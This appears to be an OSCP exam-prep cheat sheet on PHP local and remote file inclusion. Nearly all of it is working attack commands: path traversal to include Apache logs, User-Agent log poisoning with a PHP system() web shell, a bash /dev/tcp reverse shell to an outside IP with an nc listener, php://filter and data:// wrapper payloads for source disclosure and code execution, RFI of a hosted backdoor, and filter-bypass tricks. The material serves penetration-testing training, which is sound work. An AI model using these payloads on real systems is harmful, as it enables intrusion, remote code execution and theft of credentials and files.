File Inclusion (LFI/RFI) & PHP Wrappers

LFI log poisoning to RCE, php://filter and data:// wrappers, RFI, and traversal bypasses.

#web#lfi#rfi#php wrappers#log poisoning

source · airouboss/oscp-prep-notes-2026 · web/file-inclusion.md ↗

File Inclusion (LFI / RFI) & PHP Wrappers

When a page= style parameter feeds a file path into include(), you can read local files, poison logs into RCE, abuse PHP wrappers, or pull a remote shell.

LFI → Log Poisoning → RCE

Include a log file you can write to, plant PHP in a field the log records (User-Agent), then execute.

🐺 howlsec@kalishell

$# Include the Apache/XAMPP access log
$192.168.215.193/meteor/index.php?page=../../../xampp/apache/logs/access.log
$curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
$ 
$# Poison the User-Agent (via Burp) so PHP lands in the log
$User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
$ 
$# Now execute through the included log
$GET /meteor/index.php?page=../../../xampp/apache/logs/access.log&cmd=dir
$GET /meteor/index.php?page=../../../xampp/apache/logs/access.log&cmd=type+secret.txt

Upgrade to a reverse shell:

🐺 howlsec@kalishell

$# One-liner, forced through bash
$bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
$# URL-encoded
$bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22
$nc -nvlp 4444

PHP Wrappers

php://filter — read source (incl. creds)

🐺 howlsec@kalishell

$curl http://target/meteor/index.php?page=php://filter/resource=admin.php
$# Base64-encode so PHP isn't executed, then decode locally
$curl http://target/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
$echo "<base64-output>" | base64 -d

data:// — direct code execution

🐺 howlsec@kalishell

$curl "http://target/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
$ 
$# Base64 variant
$echo -n '<?php echo system($_GET["cmd"]);?>' | base64
$curl "http://target/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

Remote File Inclusion (RFI)

If the app allows remote URLs, host a webshell and include it.

🐺 howlsec@kalishell

$ls /usr/share/webshells/php/
$cd /usr/share/webshells/php/
$python3 -m http.server 80
$curl "http://target/meteor/index.php?page=http://192.168.45.154/simple-backdoor.php&cmd=ls"

Traversal bypasses

Null byte (%00, PHP < 5.3.4), double-encoding (..%252f), and nested traversal (....//) defeat naive filters. Strip minor path checks by prepending enough ../ to reach root regardless of the base directory.